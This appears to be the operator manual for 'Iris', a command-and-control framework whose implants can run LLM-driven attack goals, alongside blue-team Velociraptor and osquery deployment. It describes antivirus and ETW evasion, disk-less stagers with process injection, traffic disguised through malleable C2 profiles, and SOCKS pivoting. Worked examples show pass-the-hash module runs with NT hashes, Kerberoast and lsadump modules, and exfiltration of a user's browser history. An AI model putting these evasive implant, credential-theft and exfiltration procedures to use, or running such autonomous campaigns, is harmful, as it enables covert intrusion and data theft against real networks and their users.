supervised for every goal this console queues; a per-goal choice wins.
Secondary console (console secondary) — fail-over URL; agents switch
their beacon there when the primary is unreachable and switch back when it recovers.
Beacon path (console beacon-path) — the beacon URL path served and
pushed to agents; the defaults stay served so agents always re-converge. Must start with /; exact collisions with /pty/channel · /data · /healthz are rejected, paths under /api/ (e.g. /api/llm/endpoints) are fine. Changes apply on the next beacon, no restart.
C2 profile (console c2-profile) — malleable wire shape
(saas-poll looks like a SaaS sync · cdn-prefetch like a CDN
cache-warm · ws-message like a WebSocket push · custom = your own
JSON: {{envelope}} in req_tmpl and {{payload}} in
resp_tmpl carry the C2 data; {{session_id}},
{{request_id}}, {{timestamp}} are filled in). The crypto envelope is
unchanged — only what passive traffic looks like. A profile-wrapped request that fails
falls back to default on the standard paths. Per-agent override in
Tuning; CLI also takes --json <file|inline>.
Pivot (C2) is NOT here — route selection and multi-hop listeners live
in the Pivot & secure transport panel.
Serve-time options that are NOT in this panel (replay window, goal cap, strict
enrollment, DNS/ICMP/WG listeners…) live in the serve flag
reference. Fleet-side controls: enrollment + blocklists, key-mismatch check-in, hide-idle threshold.
Global settings — status + configuration
Workbench — per-agent page
One page per agent at /workbench/<agent-id> — everything scoped to that host.
Open it by clicking the agent id in the fleet, or link out from any transcript.
Header — agent name · mission-role picker (red / blue / dual) · ⇄ Pivot toggle ·
👻 Stealth (click = ON/OFF; an auto-engaged agent drops to OFF in one click, right-click
resets to AUTO) · PTY · 🖥 Console (operator console shell — routes through the
active pivot). Status bar below; BLOCKLISTED and LITE-core banners explain a quiet agent at a glance.
IR panels (shown for blue / dual agents; a pure-blue session hides the red sections) —
golden baseline & drift diff, this host's detection ring (dispositions happen in the Blue
Workspace), Velociraptor + osquery deploy-clicks and runs, read-only probes (blue sensors accept
allowlist reads; mutating lines point back to ESC), playbook dispatch — all scoped to THIS host.
Chat — goals stream live; the controls row carries the per-goal mode (supervised /
auto), max-steps, LLM routing, and the ⚡ Boost toggle (fast-poll while on; the view
refreshes faster too).
Direct actions, no LLM — Tools (the named catalog: scan · local · creds ·
evidence · lateral, plus run / recon / list / net / env), Inject (Windows remote process
inject — empty payload injects this implant's own binary; kill-original leaves only the
injected copy), Modules (BOF) with the upgrade row (morph a lite agent to full), Shell
(one direct line, no LLM).
Host data — Recon light / full (spawn-free snapshot; full tier adds the AD
domain) lands in the Recon Graph with provenance; File Explorer pulls and pushes; Goals
shows this agent's transcripts; Config edits the per-agent system prompt; Skills / MCP
assign per agent.
Workbench — baseline, detections, deploy, recon, explorerThe same page on a RED agent mid-goal: the chat streams the transcript live — thinking, the tool call, its result — with STOP and mode / steps / LLM routing in the controls row.
The implant & baking (quick)
Portable, config-baked, zero runtime arguments, zero runtime files (Linux runs entirely
from memory via memfd). Build on a host with the Go toolchain:
Per-build identity — --canary is a content-shift token baked into the binary (unique content per build → generic AV signature hashes stop matching); name/parent/flag choices; --target-os linux|darwin for Unix (direct syscalls,
memfd execution; --etw is Windows-only).
Evasion — ETW suppression posture, anti-forensics string encoding, parent spoof;
beacon crypto is ECIES so the wire carries no shared secret.
Upgrade — memory-only reflective upgrade by default (no new file on disk);
opt into write_file for same-name persistence. Upgrades carry the fleet-wide
version stamp you see in the header.
Mission role — bake --role red|blue|dual (blue = sensor: detection
active, goal execution read-only) or flip it at runtime with
console role; see mission
roles.
Smaller first stages — the tiny C core (iris-lite-builder: compiles C with clang/MinGW — no Go toolchain on the build host; ~300-500 KB static PE; morphs to the full implant via --full-url) and the one-shot
stager (iris-stager-builder: download + reflective
jump, or remote-inject into a running process — the implant never touches disk).
Run it — serve the baked file via --payload ~/payload, launch on the
target; the agent mints its own ed25519 identity and lands PENDING under
--strict. Nothing to hand out.
Channels & pivoting (quick)
Beacon channels — HTTPS primary; automatic failover to DNS TXT and ICMP; WireGuard
when provisioned. The fleet row shows the last channel used; switches are audited.
SOCKS5 pivoting — start the proxy with serve --socks-port 0.0.0.0:5555
(UDP relay :5556, named-pipe proxy :5557 come up with it), enable a pivot agent
(console pivot enable <agent> or the Fleet ⇄ button — it opens a WebSocket
channel back to the console; WebSocket upgrade or WG — no long-poll fallback), then point tools at the console:
nmap --proxy socks5h://console:5555, Burp, proxychains, RDP. The console relays
bytes between the SOCKS client and the implant dialling the internal target.
Routing priority — startup --socks-agent → the Pivot (C2) section's
USE pin → first available pivot channel. Enabling a pivot from any surface is enough to
route; DISABLE clears the pin. The USE pin is persisted and survives a console
restart (the startup flag still wins).
Multi-hop — for an implant reachable only THROUGH another: select the gateway agent,
click LISTEN (port 0 = ephemeral), then USE it — traffic takes
console ↔ gateway ↔ child ↔ target. A dropped gateway channel drops the child's tunnel, which
self-heals on the gateway's next reconnect (the listener is re-created automatically).
Named-pipe pivots on Windows reach same-host agents with no network egress at all.
Anything routed through the console gets the pivot too — the console PTY sets
all_proxy to the SOCKS proxy whenever a pivot can route (Shell
& PTY).
CLI / API parity
Every UI action exists as a CLI verb and an HTTP endpoint — the UI is just one consumer:
Named operators log in once; every later verb reuses the session cookie and the
console address automatically — and the audit trail attributes each action to that
operator:
console login <user> <password> # named operator → cookie in ~/.iris-session
console repl --user <user> --password <pw> # one login, every verb at the prompt
Each verb is a request to a console and resolves it in this order: an explicit
--url, then IRIS_URL, then the console login signed
into, then the built-in default http://127.0.0.1:3080. A console elsewhere
— another port, a remote host, TLS — is named once at login (which also
stores --insecure / --ca / --cert), so later verbs
need no flags.
The session file defaults to ~/.iris-session; IRIS_SESSION_FILE
(or --session) moves it — per-operator on shared hosts.
A bare console login <password> uses the legacy shared console password.
Any rejected password-only attempt is retried as a named sign-in, so
console login <user> prompts for that account's password — which is the
only credential once the shared path is closed. logout clears the cookie but
keeps the console address, and the REPL persists the session it signs in with, so
standalone verbs inherit it after a REPL session ends. The shared-password
login stays open until the console has an active named operator — with
--disable-legacy-password that is how the first account gets created — and
closes the moment one exists.
--key / IRIS_KEY are kept as plain aliases for the password
(X-Password header, legacy path).
The top-bar search covers all page content, not just the sidebar: hit Enter and it lands on the first match with every occurrence highlighted.
1. Build
./build.sh # all platforms -> dist/<os>-<arch>/ ; console+agent+universal+builders
The console is pure Go (SQLite via a vendored pure-Go driver — no cgo, no runtime dependency on the target). Artifacts: iris-console, iris-agent, iris (universal), iris-implant-builder, iris-stager-builder, iris-lite-builder.
2. First serve
Best practice is the split launch: --console (Web UI + operator API, behind --operator-auth) + --beacon (the ONLY port agents dial — beacon, /healthz, /data; everything else a bare 404, so a scanner sees no operator controls). With --beacon set, a beacon POST against --console is a bare 404 — that surface is operators only. Bake implants against the --beacon port. A single --console (default http://127.0.0.1:3080) serves everything on one port — fine for a same-machine test. Enrollment gating and mTLS are opt-in; the annotated launch below shows every slot:
./dist/iris-console serve \
--console 127.0.0.1:3080 # operator surface ONLY (Web UI + API) — with --beacon set it 404s beacons; 0.0.0.0 only if operators come from other hosts
--beacon 0.0.0.0:8080 # agent-facing surface only (beacon, /healthz, /data)
--operator-auth # Web UI + /api/* require an operator login
--strict # first-seen agents land PENDING until approved
--cert [bundle.pem] # HTTPS on both listeners (server-auth; client cert optional) — beacon port also sniffs plain HTTP; a combined cert+key bundle works alone, a split pair needs --certkey too
--mtls # console is a CA; agents MUST present a verified client cert (overrides the cert-file posture)
--home ~/iris-runtime # console-owned data root (state db, files, modules, skills)
--payload ~/payload # payload folder served publicly at /data
--llm-url https://…/v1 # default LLM (agents without their own converge on it)
The same launch can live in a file instead of a shell line — --config takes a JSON object whose keys are flag names:
./dist/iris-console serve --config console.json # command-line flags still win
./dist/iris-console serve --config console.json --check # show the resolved launch, bind nothing
Keys are flag names verbatim (no aliases, no nesting); a typo or a retired flag name fails with the key named, before anything binds. Keep the file 0600 — values are literal, and --check masks key/password values.
--home derives everything console-owned — iris-state.db (SQLite), files/, graph/, modules/, skills/, payload — with per-slot overrides (--state, --runtime-dir, --modules-folder, --skills-folder, --payload) always winning. State is SQLite, authoritative; the legacy JSON file is imported once and retired to <name>.json.pre-db.bak.
The operator login
Open the Web UI, sign in with user + password — the form always needs a name, and named accounts live in the SQLite store. A fresh console has no UI sign-in yet, so seed the FIRST operator from the CLI. The first password-only login defines the shared console password (bootstrap — there is no default to leak); sign in with it, then create the account through the running console, which is what operator does whenever a console answers:
Without --db the verbs use the running console's API, so the account lands in the database the server actually reads and the change is audited — that needs a login, which is why the bootstrap above signs in first. --db ~/iris-runtime/iris-state.db instead edits that file directly, with or without a console running: it is the way to seed an account when there is no credential to authenticate an API call yet, and since the console reads accounts from the database on every login, the change takes effect immediately. Once an active named operator exists, the shared-password login closes (even with --disable-legacy-password unset), and the shared password stops being a credential.
From the CLI/REPL the same identity applies: console login <user> <pw> (or console repl --user <user> --password <pw>) signs a named operator in; the session cookie and the console address (~/.iris-session, override with IRIS_SESSION_FILE) are reused by every later verb, so no --url is needed afterwards, and audit rows are attributed to that operator. A bare login <password> is the legacy shared-password path; if the console rejects it, the same name/password is retried as a named sign-in.
Changing passwords: once signed in, the password button in the banner changes YOUR account's password — current password required, your sessions end — sign back in. Admins reset other accounts on the Operators panel (per-row password), and the same panel manages the legacy shared password — the CLI / direct-API admin credential (X-Password); it disappears when --disable-legacy-password is set.
Roles gate every API call at one router seam (viewer reads; blue adds IR workflow + ratified deploy-clicks; red adds mission work; admin owns trust & infra — operators, certs, registry-wide clears). Unknown mutations fail CLOSED to admin. The legacy shared-password header (X-Password / Authorization: Bearer) is the legacy admin path — it carries the operator password; --disable-legacy-password turns it off — create a named admin FIRST, then flip, or you lock yourself out (the shared password bootstraps only while nothing is set).
3. Bakes & the fleet
Canonical Windows bake (builder flags — not a plain go build):
Linux/macOS equivalents: --target-os linux|darwin (each bake is a fresh canary — per-build string/API encryption keys differ, so two bakes of the same version hash differently: expected).
Agents authenticate by ed25519 signature (pinned at first HELLO) or by mTLS client cert (console-as-CA: iris-console certs init then certs issue). There is no shared beacon key since 0.11.5 — the legacy --key flag only seals envelopes for wire compat; the console ignores it.
Mission roles: every agent runs red (attack, default), blue (sensor: detection subsystems active, goal execution read-only — action tools refuse) or dual (both). Flip live with the Fleet/Workbench control or console role red|blue|dual <agent|--all>; bake it with --role in the builder. Blue Workspace only tracks sensor-role agents (blue/dual), and payloads older than 0.11 are refused a sensor role upgrade-first instead of lying about it.
First stages: the full implant is the normal deploy. Smaller options: the lite C core (iris-lite-builder, beacons before morphing via --full-url) and the one-shot stager (iris-stager-builder) — downloads the implant, reflectively loads it into memory and jumps, or remote-injects it into a running process (--inject notepad.exe); the implant never touches disk.
Upgrading a running agent:POST /api/agents/<id>/upgrade (or the Fleet row button) with write_file for disk persistence on Windows (memory-only reflective upgrade is the stealth default; same-name replace, never litter). Serve the new exe from --payload; cache-bust URLs (?v=N) behind CDNs. An upgrade resets the console-side role — re-POST /api/agents/role {"agent":<id>,"role":…} after each upgrade if the agent had a non-default role.
4. Dispatching work
Two channels, one history — do not mix them:
Shell directive (no LLM): console shell <agent> <cmd>, the Fleet/Workbench shell panel, or POST /api/goals {"agent":…,"cmd":…}. Rows tag model=shell and export/purge separately. This is the channel for mechanical operator commands.
LLM goal: console send <agent> "…" (autonomous) or --mode supervised (plan approval via console plan <goal_id> approve|reject).
Tool channel: {"tool":…,"tool_args":…} / console tool — reserved for capabilities with no shell form (spawn, env, llmscan, …); using it for mechanical commands pollutes tool history.
The second argument is the tool's own JSON object. Every name and its args are in REFERENCE.md §Tools; a name the registry does not know comes back with the live inventory (unknown tool "x" (available: …)), so a typo teaches you the list. Over HTTP it is the same call: POST /api/goals {"agent":…,"tool":…,"tool_args":…}.
In the REPL, use <agent> first and then tool creds '{"action":"browser"}' — the target is sticky, so no repeating --url / --key.
Prefer a dedicated verb when one exists: module, skill, file, push, message, mcp, upgrade, pty all have CLI twins. The tool channel is for registry capabilities with no verb: creds, recon, scan, local, evidence, lateral, llmscan, delegate, memory, spawn, lolbin, net, env, inject.
One agent per call — no --agents / --broadcast here. For a fan-out use shell or send, or loop over agents.
It waits for output by default (--wait 300). --no-wait returns the goal id immediately; collect it with console goals <id> or the Fleet view. Long enumerations are bounded by the tool's own ceiling, not by --wait.
A blue-role agent refuses mutating tools and says why. delegate and llmscan need a host coding agent or LLM pool to be present; exfil needs the data channel; inject is a Windows-build capability.
The Web UI has no tool runner — it renders tool calls in goal history (with the args), but you aim them from the CLI, the REPL, or the API.
Multi-target everywhere: --agents a1,a2 or --broadcast.
CLI & REPL. Every UI action has a CLI verb (full inventory in REFERENCE.md). For a long operator session use the REPL — one login, every verb from the prompt, sticky target via use <agent>:
login <password> / logout manage the session; help lists verbs; history and line editing work on a TTY, and piped stdin keeps it usable in scripts. A failed verb does not kill the session.
5. Modules (COFF/BOF) & skills
Library: upload via Web UI, module upload, or drop files into --modules-folder (persisted, and reconciled live — files added, changed, or removed in the folder are picked up without a console restart, like the skills folder). Sliver/Cobalt extension.json sidecars live beside the module and auto-attach (exact packing per declared arg types).
First-party (iris/…) vs imported (cs/…, msf/…) namespaces render as separate sections; per-module compatibility verdicts live in the development notes of the source repository.
The release bundle ships the live-tested community imports under bofs/cs/compiled/ (ADCS enum, Kerberoast/AS-REP, lsadump, JSONL variants; provenance + licenses in bofs/cs/README.md) — deploy with cp bofs/cs/compiled/* <modules-folder>/cs/. Nothing in Iris links them; they are separate works loaded at runtime.
Run: module run <agent> <name> [args…] or the Workbench/Fleet pickers (searchable comboboxes). Unix agents run ELF/Mach-O in-process (BOF format) or via a killable helper for libc-blocking modules.
Skills: .md packs in --skills-folder; assign per agent (skills add <name> <agent>); the focus-mode skill store table manages the store itself (view/edit/add/delete; admin writes).
6. Channels & pivoting
HTTPS always carries the first beacon (that response is what arms the tunnel); side channels DNS TXT (--dns, --zone) and ICMP (--icmp) fail over automatically; WireGuard rides the mTLS cert identity (--wg-advertise the public endpoint; bake implants with --wg-addr auto so moving the WG port is a no-op for the fleet). --channels picks the primary route: wg,https rides the tunnel once it is armed, https,wg keeps HTTPS primary and uses the tunnel only when HTTPS is down; either way a dead channel hands that beacon to the next one in the same cycle.
SOCKS5 (--socks-port): pick a pivot agent in the Transport panel's Pivot (C2) section ([USE]) or with console pivot route <agent> (auto un-pins); TCP + UDP-associate + multi-hop through a gateway implant; the console PTY routes through the same chosen pivot.
Secondary console fail-over: set a backup console URL (console secondary); agents auto-switch when the primary is unreachable. It is a fail-over, not a mirror: while the primary answers, beacons go to the primary and the backup receives nothing — a quiet backup console means the primary is healthy, not that the agent is lost. The implant log names the console it is reaching: beacon: console primary (…), then failover: primary console down — beacons now via secondary (…) on a switch, and every beacon line carries console=<address>. The backup is a separate server with its own state database and operator accounts, so sign in there independently. On switch the agent re-registers with it — keys, fingerprint and config — and seals its beacons with that console's own encryption key, so the record is taskable rather than a heartbeat-only row. LLM relay calls follow the same console: the agent re-points its proxy routes on a switch, so the backup console serves models with the key registered there while a dead primary (or a CDN edge over a stopped origin) cannot. If the backup restarts against a different state database its encryption key changes; the agent's next beacon is rejected once and picks the new key up from that answer.
7. Backup, restore, verification
State lives in one SQLite file (--home/iris-state.db, mode 0600, WAL, FK on, audit table append-only via triggers — UPDATE/DELETE on audit rows fail by design).
./dist/iris-console db backup --db ~/iris-runtime/iris-state.db --out backup.db
./dist/iris-console db stats --db ~/iris-runtime/iris-state.db
./dist/iris-console db verify <legacy-state.json> # throwaway-DB LOSSLESS import proof
./dist/iris-console db export [--out state.json] # SQLite -> JSON export
Restore = stop the console, point it at the backup (--db / swap the file). A restored store keeps the append-only guarantees — verified.
8. Audit & events
Every mutation and every RBAC denial lands in the append-only events table, attributed: admin-surface actions carry the operator name, console-init turns carry console, scheduler rows scheduler, agent-side writes agent. The detail carries the handler's own summary — a dispatch row names the goal id it created, and the Audit panel renders those ids as links to the goal row. The Web UI Audit panel tails it (searchable, absolute timestamps); console audit reads the same trail from the CLI/REPL (--q, --from/--to, --json, export/import). Export stays uncapped; the on-screen goal/audit caps are display-only.
Implants are fully silent BY DESIGN and have NO runtime --debug — bake it in: --debug on the builder (or DEBUG=1 ./implant.sh), re-bake, and the beacon log shows every failure verbatim
TLS error doesn't contain any IP SANs / signed by unknown authority
The agent must trust what it dials: bake the certs issue bundle (implant build --cert bundle.pem — it carries the console CA), and loopback SANs (localhost, 127.0.0.1, ::1) ship in every server cert, so https://127.0.0.1:<beacon-port> verifies with no flags. LAN IPs/hostnames: --mtls-san <host[,ip]> at PKI init; or bake --insecure (INSECURE=1 ./implant.sh) / run with --insecure
Browser refuses the console URL; log shows http: TLS handshake error … remote error: tls: bad certificate
The browser is rejecting YOUR certificate (self-signed or not in its trust store) — the handshake never reaches a handler. Trust the cert in the OS/browser store, or run certs init and trust the console CA once, or keep --console plain HTTP (internal + behind --operator-auth) and reserve TLS for --beacon. Peer-side rejections are counted and summarized in the log, not printed per line
Beacon rejected 403 forever
Agent is blocklisted — console unblocklist <agent>
Agent version stays old after upgrade
Memory-only upgrade — re-run with write_file; verify on-disk hash/size
Role wrong after upgrade
Upgrade resets role — re-POST /api/agents/role (field agent)
/data/<file> serves stale bytes
CDN cache — cache-bust ?v=N
Locked out after --disable-legacy-password
Create a named admin first; bootstrap only works with NO password set
database is locked under backup load
Busy-timeout handles it — retry the verb; keep backups off the beacon hot path
What it does: requests the full-tier deterministic recon report (no LLM), waits for it on the beacon, then sends the LLM a campaign goal seeded with those facts + the 5-playbook skill pack (initial-enum, ad-enum, cred-access, roast-and-move, adcs-abuse), instructing 6–10 steps, one tool/module action per step, machine-readable module variants preferred, gated actions reported not retried. Structured findings return on the recon report and are auto-ingested into the M12.5 graph.
→ 984cebc3 done: no browser profiles found. Correct: the agent runs as SYSTEM and the harvest scans the running token's LOCALAPPDATA / home. A SYSTEM implant genuinely has no browser profile — this is what the tool must report, not a bug.
Step 2 — discovery points at the real browser. The scenario-1 campaign listed firefox ×7 in the process table. Locate the owner profile:
→ e2ef1c78 done: three profiles; the live one is 4gpjzbzc.default-release-3471911544362 (mtime = today), holding places.sqlite 5,242,880 B (+ -wal 2 MB).
Step 3 — exfil over the DATA channel (SYSTEM reads any owner):
→ live goals done, 5,242,880 bytes reassembled at files/WORKSTATION-8d033662-places.sqlite; header verifies SQLite format 3\0 — intact despite Firefox holding the file (WAL mode). One pitfall recorded: pulling xiw1jkwc.default-release\places.sqlite failed file not accessible — wrong profile, the failure text names the path, so the hunt self-corrects.
Step 4 — URL recovery without SQLite (byte scan, the same trick the creds browser tool uses in-tool): 301 distinct URL strings recovered, showing user browsed the payload index and every implant download (http://203.0.113.7:8080/data/copilot*.exe …) — operator campaign debris, the kind of trail this scenario is meant to demo.
Scenario 3 — Service-account hunt
The service→account mapping, AD side and host side.
AD (DC) sweep — adenum Service filter:
./dist/iris module run DC-d4e5f6 iris/adenum 10.0.5.2 administrator <nthash> CORP Service --url $U --key $K
→ live goals done: Win32_Service 26 properties + 12 instances. obj 0 fully decoded: ADWS → StartName LocalSystem, Auto, Running, PID 1300. Lab finding: no domain service accounts — every service on the DC runs LocalSystem/NT AUTHORITY (the honest answer; a real AD would surface SQL/service principals here). Graph: service node + runs-on edge (see Scenario 1).
Host (Win10) sweep — wmiexec query WQL:
./dist/iris module run WORKSTATION iris/wmiexec query 10.0.5.103 administrator <nthash> CORP "SELECT * FROM Win32_Service" …
→ live goals done; class resolves and instances arrive, but instance values shift for this class/host (see open findings).
Argument discipline (learned the hard way): both modules take <action> <host> <user> <hash> [domain] [args…]; nf < 4 prints usage on the debug stream only — a bare adenum Service run returns an empty result, not an error.
Deploying Velociraptor through an implant
The blue implant never installs IR tooling itself. Landing the Velociraptor client on a sensor is exactly one operator click: deploy Velociraptor in Blue Workspace → Investigate → client row.
Where the binary comes from
The deploy URL is operator-configurable AT RUNTIME: the Blue Workspace "deploy source" row (set/reset), the REPL vr-url verb, or the --vr-url serve flag (all persisted; GET/POST /api/deploy-urls). Default is /data/velociraptor.exe from the payload folder; any "/"-path on the console listeners (resolved against the beacon base) or an absolute http(s) URL also works — the UI provenance lines show the configured source.
The console serves its payload folder (--payload <dir>, here ~/payload) unauthenticated at /data on both listeners (operator surface + beacon-only side channel). The deploy URL is always /data/velociraptor.exe.
Keep the file named exactly velociraptor.exe. Grab the release client (Windows amd64 for our fleet): https://github.com/Velocidex/velociraptor/releases/download/v0.77.3/velociraptor-v0.77.3-windows-amd64.exe.gz → gunzip → place as <payload>/velociraptor.exe. (Iris pins v0.77.3 — the composed VQL is verified against that build; upgrading the pin is a code change, not a file swap.)
Updating clients
Replace the file in the payload folder, then re-deploy. Re-deploy over a present client is the supported repair path for a half-downloaded or stale binary — no uninstall dance needed. Nothing restarts on the console; payload files are read per request.
What the click does
Console queues a protocol-side task (rides the beacon like an upgrade — no LLM, blue gate untouched).
Agent downloads with a 128 MB cap, writes temp + rename into %LOCALAPPDATA%\iris-vr\velociraptor.exe (~/.iris-vr/ on non-Windows; agent --vr-path overrides).
Verifies by running velociraptor.exe version — note VR's CLI has no --version flag, verification uses the version subcommand.
Goal reports done with binary path + size; the agent's HELLO carries the vr capability bit and the Blue Workspace client chip goes green.
Uninstall & charter
Uninstall = delete the file (red/operator-side file op) — blue never removes it. Artifact runs are read-only collections (FILESYSTEM_READ); nothing installs or mutates beyond the one binary.
Troubleshooting
"no Velociraptor client on this host" → deploy click; the sensor only reports presence, it never fetches by itself.
"tls: certificate required" on older agents → they fetched the side-channel HTTPS without a client cert; the console serves /data plain on 8080 and on the main listener — re-deploy fixes the URL.
Run returns "query finished — no output rows" on admin-gated artifacts (Amcache, Evtx security log) for a non-admin sensor: honest empty, not a failure. Re-run as admin or use non-gated artifacts.
A broken YARA rule doesn't silently zero: the goal summary now appends Velociraptor's ERROR: line (compile error text) from stderr.
The OSQuery bridge is the Velociraptor pattern applied to a second DFIR tool: a blue sensor only reports an osqueryi client (HELLO osq bit); landing the binary is one operator click, and a blue sensor never installs IR tooling by itself. Queries are one-shot, read-only SQL.
What lands where
Source of truth: a CONFIGURABLE deploy URL — default the console payload folder (--payload dir), served unauthenticated at /data/osqueryi.exe. Set it at runtime with the UI's deploy source row (Blue Workspace → Investigate, or the workbench OSQuery panel — set / reset), the REPL osq-url verb, or the --osq-url serve flag (persisted; GET/POST /api/deploy-urls) to any "/"-path on the console listeners (resolved against the beacon base) or an absolute http(s) URL. The Blue Workspace / workbench provenance lines always show the configured source.
Install path on the sensor:%LOCALAPPDATA%\iris-osq\osqueryi.exe (~/.iris-osq/osqueryi on non-Windows). Override with --osq-path.
Verify: the agent runs osqueryi.exe --version after download — a half-downloaded or wrong binary fails the deploy with the error surfaced.
Staging the binary (one-time, on the console host)
The zip also contains osqueryd and extensions — only osqueryi.exe is needed; the bridge runs the shell one-shot, no daemon.
Deploy / update / repair
Deploy: Blue Workspace → Investigate → deploy OSQuery (fans out to the selected sensor(s), or all blue/dual when none selected), or the workbench IR — OSQuery panel for one host. Protocol task: no LLM, no blue gate, rides the beacon like the Velociraptor deploy.
Update: replace ~/payload/osqueryi.exe, then re-deploy. There is no version negotiation — the payload file IS the version (same doctrine as the Velociraptor pin).
Repair: re-deploy over a present client is the repair path for a half-download (the --version verify catches it).
Running SQL
Read-only by construction: the osqueryi shell executes SELECT (and WITH) statements only. The console-side gate rejects anything else with 400 before it hits the wire.
Plain SQL in, one statement per run; optional short label names the run (OSQuery.<label> in the Artifact results table).
The agent runs osqueryi --json --timeout=300000 "<sql>" (stdout = JSON result document, stderr = tool log, captured separately); the JSON ships over the DATA channel and lands in the Artifact store like every Velociraptor run — hash cells join the active IOC set, hits feed the Fleet rollup + alert webhook as known_bad.
Good starting points: SELECT pid,name,path,cmdline FROM processes, SELECT p.name,s.remote_address,s.remote_port FROM process_open_sockets s JOIN processes p ON s.pid=p.pid WHERE s.remote_address!='', SELECT path,md5,sha1 FROM hash WHERE directory='C:\Windows\Temp'.
Troubleshooting
409 "no OSQuery client — click deploy OSQuery first" → the host has no osqueryi at the deploy path or on PATH; one deploy click fixes it.
Deploy fails with "unsupported protocol scheme" on an old implant (< 0.11.3): relative payload URLs resolve against the beacon base only from 0.11.3 — upgrade the implant or pass an absolute URL.
"Error: no such column/table" → stderr surfaces in the goal result; check column names against the osquery schema (tables differ per OS version; no name column on process_open_sockets — JOIN processes).
osq bit stale in the Fleet row → deploys refresh the capability bit since 0.11.3; on older consoles it re-reports at agent re-registration.
Uninstall: the bridge never auto-removes; deleting %LOCALAPPDATA%\iris-osq\ on the host is the whole uninstall (the --json_newline flag does NOT exist in 5.24 — do not "fix" the run form toward it).